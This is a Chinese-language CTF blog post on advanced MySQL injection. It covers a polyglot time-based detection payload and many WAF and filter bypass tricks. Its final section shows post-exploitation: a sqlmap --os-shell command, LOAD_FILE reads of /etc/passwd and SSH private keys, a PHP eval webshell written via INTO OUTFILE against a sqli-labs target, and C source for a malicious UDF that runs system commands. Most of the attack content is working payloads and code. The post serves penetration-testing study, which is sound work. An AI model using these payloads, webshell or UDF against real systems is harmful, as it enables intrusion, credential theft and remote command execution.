MySQL 注入进阶
2025-01-05|CTF

终极注入检测 payload

来自: The ultimate SQL Injection payload

假如没有 WAF,则有一种在所有存在 MySQL 注入漏洞的情况下都有效的 payload: IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ 如果卡了大约一秒,则很可能存在 MySQL 注入

payload 所做的第一件事是检查 MySQL 版本是否支持 SLEEP() 函数。如果没有将改用 BENCHMARK() 函数。这些函数使服务器等待给定的时间,并且 SLEEP() 和 BENCHMARK() 之间的适配使其适用于所有 MySQL 版本

payload 会适应所使用的引号类型。这是通过使用 OR 和 XOR 连接字符串而不破坏语法来完成的

示例1:

SELECT * FROM some_table WHERE double_quotes = "[注入点]"
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

示例2:

UPDATE some_table SET secret_value = '[注入点]'
UPDATE some_table SET secret_value = 'IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/'

可以看到无论使用哪个引号,payload 都将执行 BENCHMARK()SLEEP()

如果 payload 未封装在引号或单引号内,则其余部分会被放在多行注释中,以避免语法错误

例子:

SELECT 1,2,["注入点"] FROM some_table WHERE ex = ample

SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample

常见绕过

过滤空格

  1. 括号包裹 示例:

    SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);
    
  2. /**/ 内联注释 代替空格

  3. /*!..*/ MySQL 特有的条件注释。例如,考虑以下语句

    SELECT username FROM users WHERE id='1' AND/*!505441*/=/*!505441*/-- '
    

    此处 50544 表示版本号,如果当前 MySQL 版本高于 5.05.44,则后续的语句会被执行。所以,/*!505441*/=/*!5054;41*/ 相当于 1=1

    也可以不指定版本号,比如:

    /*!SELECT*//*!SCHEMA_NAME*//*!FROM*//*!information_schema.schemata*/;
    
  4. %0D Carriage Return,回车 代替空格

  5. %0A Line Feed,换行 代替空格

  6. %0C Form Feed,换页 代替空格

  7. %09 Horizontal Tab,水平制表 代替空格

  8. %0B Vertical Tab,垂直制表 代替空格

  9. %A0 Non-breaking space (MySQL only),不间断空格 代替空格

  10. ` 反引号 MySQL 中反引号用于引用标识符,以避免与 MySQL 保留关键字或其他特殊字符发生冲突。使用反引号包裹可以不带空格,比如:

    SELECT`username`FROM`users`;
    
  11. 科学计数法 某些情况可能有用

    SELECT * FROM users WHERE id=1e0union SELECT 1,2,3;
    

过滤引号

  1. 转义引号 在输入的结尾插入反斜杠 \ 可以将后面用于闭合的引号给转义掉,使得第一个引号与第三个引号闭合,从而可以插入 SQL 语句。示例:
    SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--' 
    
  2. 十六进制编码 MySQL 会自动将十六进制值解释为字符串。示例:
    SELECT 0x616263;  # abc
    

过滤逗号

  1. join

    联合注入有时会用到多列查询,可以使用 join 以避免使用逗号。示例:

    SELECT * FROM users UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c;
    SELECT * FROM users UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)c;
    
    -- 包含注入的完整语句
    SELECT id, username, password FROM users WHERE id='-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)c-- ';
    
  2. from...for...

    盲注常用的 substring() substr() mid() 中会用到逗号,可以使用 from for 代替。示例:

    SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);
    SELECT SUBSTR(DATABASE() FROM 1 FOR 1);
    SELECT MID(DATABASE() FROM 1 FOR 1);
    
  3. offset

    LIMIT 语法也会用到逗号,可以使用 offset 代替。示例:

    SELECT * FROM users LIMIT 1 OFFSET 0;
    SELECT * FROM users LIMIT 0, 1;
    

    注意,offset 语法中前面是位置,后面是偏移值,与使用逗号的语法相反

  4. 模糊查询

    盲注中也可以使用模糊查询的方法来避免使用逗号。示例:

    SELECT DATABASE() LIKE 's%'
    /*
    等价于 SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115;
    
    s% 是一个模式字符串,其中 % 是通配符
    % 表示任意数量的字符(包括零个字符)
    s% 匹配所有以 s 开头的字符串,不论其后有多少字符
    */
    

    LIKE 支持以下通配符:

    • %:匹配零个或多个字符。
    • _:匹配单个字符。

    示例:

    • LIKE 'u%':匹配以 u 开头的所有字符串。
    • LIKE '%123':匹配以 123 结尾的所有字符串。
    • LIKE '_b%':匹配第二个字符是 b 的所有字符串(如 ab123、cb_test)。
    • LIKE 't__t':匹配 t 开头、接两个字符、然后是 t 的字符串(如 test)

过滤比较符

对于 > = < 被过滤时可采用的方案:

  1. > < 被过滤时可以使用 greatest()least() 函数,分别返回最大值和最小值。参数数量不定

    示例:

    SELECT GREATEST(1, 2, 3, 4, 5);
    SELECT LEAST(1, 2);
    
  2. like 代替等号。但有时会有不相等但返回 1 的情况出现

  3. rlike 用于判断某个字段的值是否匹配指定的正则表达式。它是 regexp 的同义词

  4. regexp 匹配字符串中是否包含符合正则规则的部分。默认不区分大小写。如果需要区分,可以使用 binary。示例:

    SELECT 'abc' REGEXP 'A';       -- 返回 1
    SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0
    
    SELECT BINARY DATABASE() REGEXP '^s';
    
  5. strcmp(str1, str2) 函数

    其返回值:

    • str1 = str2 -> 0
    • str1 < str2 -> -1
    • str1 > str2 -> 1
  6. in 语法。用于判断某个值是否在指定集合中的条件操作符

    示例:

    -- 是则返回 1,否则返回 0
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);
    
  7. between...and... 用于范围查询,也可代替等号

    示例:

    -- 是 115 则返回 1,否则返回 0
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;
    
  8. <> 表示不等于

    示例:

    -- 不等于 115 则返回 1,否则返回 0
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;
    

过滤逻辑运算符

以下每对逻辑运算符等价

  1. and &&
  2. or ||
  3. not !
  4. xor |

过滤 if

  1. 逻辑中断: OR || 只需一个表达式为真,整个表达式就为真,那么很多时候程序只判断到前一个表达式为真时就忽略后一个表达式不执行,MySQL 就具备这个特性。可以利用它达到条件判断的效果

    -- 假设 database 为 "security"
    -- 它不会执行 SLEEP,因为前一个表达式为真
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);
    
    -- 它会执行 SLEEP,因为前一个表达式为假,程序还需要判断后一个表达式才能确定整个表达式的值
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);
    
  2. locate(str1, str2): 比较输入的两个字符串,第一个参数是参照物,第二个参数是参照对象,该函数会判断参照对象中是否含有参照物,若不含有,则返回 0;若含有,则返回该参照物在参照对象中的位置

  3. case when...then...else...end 类似于三目运算符

    CASE WHEN condition THEN result1 ELSE result2 END
    
    -- 1
    SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
    
    -- 2
    SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;
    
  4. elt(N, str1, str2, ..., strN) 用于从一个字符串列表中返回对应位置的字符串

    假设有一张表 my_table,包含字段 id 和 category,我们希望根据 category 的值返回对应字符串:

    SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing') AS category_name
    FROM my_table;
    

    如果 category 的值为 1、2 或 3,分别返回 Electronics、Books、Clothing

    这个函数同样可以用在盲注中。逻辑运算往往会返回 0 或 1,也就是说可以让条件为真时执行 elt 函数第二个参数的表达式

    -- 条件为真时会睡 3 秒
    SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));
    

过滤关键字

适用于过滤器不太聪明的情况:

  1. 双写绕过: 把一些关键字替换成空格,且只替换一定次数时可以双写。比如 UunionNION
  2. 大小写绕过: 过滤规则大小写敏感时可以改变关键字大小写。比如 uNiON

过滤关键字组合比如过滤了 UNION SELECT 可以改用 UNION ALL SELECT。或者结合内联注释构造: /*!UNION*/SELECT UNION/**/SELECT 或者插入其他可代替空格的符号

过滤 information_schema

  1. InnoDB 引擎

    MySQL 5.6 及以上 mysql.innodb_table_stats 可以代替 information_schema.tables。它的结构长这样

    alt text

    mysql.innodb_table_stats 是 mysql 系统数据库的一部分,用于存储关于 InnoDB 表的统计信息。它与 mysql.innodb_index_stats 表一起,存储表和索引的统计信息

    也可以用 mysql.innodb_index_stats

    alt text

    MySQL 5.5 及更早版本:在这些版本中,InnoDB 的统计信息是非持久性的,每次服务器重新启动或表被访问时会重新计算

    MySQL 5.6 及之后:引入持久统计信息,并在 mysql.innodb_table_stats 和 mysql.innodb_index_stats 中存储

  2. sys 库 MySQL 5.7 及以上 有 sys 库,是一个包含一组视图、函数和存储过程的工具集

    • sys.schema_auto_increment_columns: 带有自增字段的数据库信息

      alt text

    • 无自增字段时可以用 sys.schema_table_statistics_with_buffer

      SELECT table_schema FROM sys.schema_table_statistics_with_buffer;
      SELECT table_schema FROM sys.x$schema_table_statistics_with_buffer;
      
      SELECT table_name FROM sys.schema_table_statistics_with_buffer where table_schema=DATABASE();
      SELECT table_name FROM sys.x$schema_table_statistics_with_buffer WHERE table_schema=DATABASE();
      

但是通过它们没法获取列名,于是可能需要采用无列名注入

过滤注释符

如果所有的注释符 -- # /**/ /*!*/ 都被过滤,无法忽略后面的语句。可以改变闭合方式以避免语法错误。例如:

SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1;

分别输入 admin'OROR'

SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

编码绕过

-- SELECT username FROM users;
SELECT char(117,115,101,114,110,97,109,101) FROM users;
SELECT 0x757365726e616d65 FROM users;

花括号

可以使用花括号平替

SELECT {a DATABASE()};

花括号左边是注释(左边可以是任意字母,但不能是数字),右边是查询语句的一部分

平替函数

被过滤时可以平替的函数,用法可能不同:

  1. benchmark() => sleep()
  2. hex() bin() => ascii()
  3. concat() concat_ws() => group_concat()
  4. substr() mid() left() right() elt() => substring()
  5. char_length() => length()

预定义 语句注入

堆叠注入时可以预制一个 SQL 语句,编码成十六进制赋给变量从而绕过 WAF,然后使用 PREPARE 和 EXECUTE 执行。像这样:

1'; SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt;-- 

需要较新版本,实测 5.5.44 不可行

宽字节注入

在 GBK 编码下,部分字符可以与后续字符拼接形成新的合法字符。%df 在 GBK 编码中是一个未完成的双字节字符 Ÿ,如果数据库采用 GBK 编码,则 %df 可能会与后续的单字符拼接形成一个完整的双字节字符

有时候服务端会对输入中的特殊字符进行转义,在前面添加一个 \,它的 URL 编码是 %5c。如果输入一个 ',添加反斜杠编码后就是 %5c%27。此时在前面加上一个 %df -> %df%5c%27,如果数据库采用 GBK 编码,会认为 %df%5c 是一个宽字符,使得 %27' 并没有被转义,可以正常进行注入

无列名注入

information_schema 常用来查询库名 表名 列名,但它也常常被过滤,此时可以使用 InnoDB 表或 sys 库,但它们没有存储列名信息,于是就需要进行无列名注入

一般来说,可以先使用 order by 判断列数,然后进行无列名注入


对于一个有 id username password 三个列的 users 表。联合查询时前面指定 1, 2, 3,查询结果对应的列会被相应的替换为 1, 2, 3

SELECT 1,2,3 UNION SELECT * FROM users;

alt text

那么可以以此为子查询,从中选取指定列

SELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;

alt text

如果反引号被过滤,可以使用别名

SELECT c FROM (SELECT 1, 2, 3 as c UNION SELECT * FROM )a;

alt text

同时查询多个列

SELECT CONCAT(`2`, '-', `3`) FROM (SELECT 1, 2, 3 UNION SELECT * FROM users)a;

RCE

参考: Exploiting SQL Injection for RCE: Five Techniques Across Popular Databases

SQL 注入的后利用场景通常除了能够与数据库交互之外,还能够读取文件、写入文件,有时还能执行系统命令

sqlmap 自动化测试

sqlmap 可以快速测试 SQL 注入导致 RCE 的漏洞

sqlmap -u "http://target.com/vulnerable_endpoint?param=value" --os-shell

文件读写

MySQL 的文件读写权限受到 secure_file_priv 的影响,在 my.ini 中设置。值为空字符 '' 时无限制,指定文件路径时具有该目录的读写权限,值为 null 时无任何读写权限

可以通过如下命令检查 secure_file_priv 的值:

SHOW VARIABLES LIKE 'secure_file_priv';

在 MySQL 5.5 之前 secure_file_priv 默认为空

在 MySQL 5.5 之后 secure_file_priv 默认为 null

文件读写方式:

  1. LOAD_FILE() 读取文件。示例:
    SELECT LOAD_FILE('/etc/passwd');  # 文件路径必须是绝对路径
    
  2. LOAD DATA LOCAL INFILE (MySQL 客户端和服务器必须启用 LOCAL 支持) 从本地文件中加载数据到表中,用于读取大批量数据。可以使用相对路径。当 secure_file_privnull 时可以代替 LOAD_FILE()。示例:
    LOAD DATA LOCAL INFILE '/path/to/data.csv' INTO TABLE my_table FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
    
  3. INTO OUTFILE 将查询结果写入文件,如果文件已存在会写入失败。示例:
    SELECT * FROM my_table INTO OUTFILE '/tmp/output.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';  # 绝对路径
    
  4. INTO DUMPFILE 将查询结果写入文件 (仅支持单行写入),如果文件已存在则会直接覆盖
    SELECT 'Hello, World!' INTO DUMPFILE '/tmp/hello.txt';  # 绝对路径
    

sqli-labs 中写入 webshell (<?php eval($_POST['cmd']);?>) 示例:

localhost:2333/Less-7/?id=-1')) union select null,null,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php'-- 

实际场景中由于权限问题,MySQL 默认可能无法访问 /var/www/html/,因为该路径常由 Web 服务器(如 Apache 或 Nginx)管理

除了写入文件,也可以通过读取 SSH 私钥并使用 SSH 连接到服务器来进一步升级访问权限

-1' UNION SELECT 1,2,LOAD_FILE('/.ssh/id_RSA')-- 

用户定义函数 (UDF, User Defined Functions)

在 MySQL 中,用户定义函数 (UDF) 是开发人员可以创建以扩展数据库功能的自定义函数,使用 C 语言编写。SQLi 中有时可以通过自定义 UDF 运行系统命令来 RCE

创建一个恶意共享库,将它上传或注入到 MySQL 的插件目录中,其中包含执行任意系统命令的函数。这需要对插件目录的写访问权限,可以通过权限升级或错误配置来获得这些权限

#include <stdlib.h>
#include <mysql.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    return 0;
}

void sys_exec_deinit(UDF_INIT *initid) {}

long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    if (args->arg_count != 1) return 0;
    system(args->args[0]);
    return 1;
}

编译成 malicious_udf.so 并上传到 MySQL 插件目录,就可以在 MySQL 中注册UDF:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'malicious_udf.so';

然后就可以使用 SQL 查询执行系统命令

SELECT sys_exec('whoami');